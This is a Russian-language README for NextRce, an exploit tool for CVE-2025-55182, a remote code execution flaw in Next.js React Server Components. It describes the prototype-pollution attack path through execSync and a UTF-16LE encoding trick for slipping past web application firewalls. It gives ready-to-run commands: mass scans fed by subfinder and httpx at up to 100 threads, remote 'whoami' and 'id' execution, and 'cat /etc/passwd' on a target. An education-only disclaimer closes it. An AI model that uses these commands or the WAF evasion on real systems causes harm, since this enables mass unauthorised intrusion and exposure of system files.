
Инструмент эксплуатации React Shell и Next.js RSC (CVE-2025-55182)
Стандартные полезные нагрузки, содержащие такие ключевые слова, как child_process или execSync, часто блокируются межсетевыми экранами веб-приложений (WAF).
NextRCSWaff.py использует специализированный механизм кодирования UTF-16LE (Little Endian). При кодировании вредоносной полезной нагрузки в этом формате последовательность байтов полностью меняется, что делает её невидимой для большинства сигнатурных WAF. При этом сервер Next.js (Node.js) корректно декодирует и выполняет команду.
Доказательство концепции: на скриншоте выше показано, как стандартная полезная нагрузка блокируется (сверху), а затем успешно выполняется RCE с помощью NextRCSWaff.py с флагом --bypass (снизу).
NextRce — это высокопроизводительный многопоточный инструмент безопасности, предназначенный для обнаружения и эксплуатации CVE-2025-55182. Он нацелен на реализацию React Server Components (RSC) в архитектуре Next.js App Router.
Манипулируя процессом сериализации в Server Actions, NextRce внедряет специально сформированную полезную нагрузку для достижения удалённого выполнения кода (RCE) на уязвимых экземплярах. Он оснащён интеллектуальным механизмом обнаружения, который автоматически различает уязвимую архитектуру App Router и безопасные устаревшие Pages Router, обеспечивая эффективность при массовом сканировании.
window.__next_f), чтобы отличить уязвимые цели App Router от сайтов на устаревшем Pages Router.stdin. Легко интегрируется с инструментами разведки, такими как subfinder, httpx и gau.ThreadPoolExecutor позволяет одновременно сканировать тысячи доменов с минимальным потреблением ресурсов.Next.js App Router использует собственный формат сериализации для React Server Components (RSC). Уязвимость существует в логике десериализации заголовков Next-Action. Когда специально созданный объект (загрязняющий __proto__) отправляется на конечную точку серверного действия (например, /adfa), внутренний парсер может быть принуждён к выполнению произвольного кода Node.js через child_process.
X-Powered-By: Next.js и характерных структур путей (/_next/).window.__next_f -> уязвим (App Router)__NEXT_DATA__ -> безопасен (Pages Router)execSync(cmd). Вывод stdout кодируется в base64 и возвращается в поле digest ответа сервера с ошибкой; NextRce декодирует и отображает его.# Clone the repository
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# Navigate to the directory
cd NextRce
# Install dependencies
pip install requests
💻 Примеры использования
1. Режим обхода WAF (с помощью NextRCSWaff.py)
Используйте этот скрипт, если цель выглядит уязвимой, но стандартные эксплойты блокируются.
# Enable UTF-16LE encoding with the --bypass flag
python3 NextRCSWaff.py -u https://target.com) -c "whoami" --bypass
2. Режим конвейера / Bug Bounty
Предназначен для конвейеров Linux. Направляйте списки поддоменов прямо в инструмент.
# Standard scan
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# WAF Bypass scan
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
3. Сканирование одной цели
Проверьте конкретную конечную точку с произвольной командой с помощью стандартного скрипта.
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
4. Массовое сканирование из файла
Сканируйте список URL из файла с высокой степенью параллелизма.
python3 nextrce.py -l targets.txt -c "whoami" -t 100
5. Режим прокси (отладка)
Направляйте трафик через Burp Suite или другой прокси для анализа.
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
⚙️ Параметры командной строки
Flag,Description,Default
"-u, --url",URL одиночной цели для сканирования,None
"-l, --list",Путь к файлу со списком URL,None
"-c, --cmd",Команда для выполнения на сервере,id
"-t, --threads",Количество одновременных потоков,30
"-p, --proxy","URL HTTP-прокси (например, http://127.0.0.1:8080)",None
"-v, --verbose",Включить подробный вывод (показывать неудачные попытки),False
"-B, --bypass",(только для NextRCSWaff.py) Включить кодировку UTF-16LE для обхода WAF,False
⚠️ Отказ от ответственности
Этот инструмент разработан только для образовательных целей и исследований в области безопасности. Автор (Mitsec) не несёт ответственности за любое незаконное использование, ущерб или несанкционированный доступ, вызванные данным инструментом. Всегда получайте явное разрешение владельца системы перед проведением любого тестирования безопасности.
👤 Автор
NextRce разработан и поддерживается Mitsec.
Twitter/X: @ynsmroztas
GitHub: ynsmroztas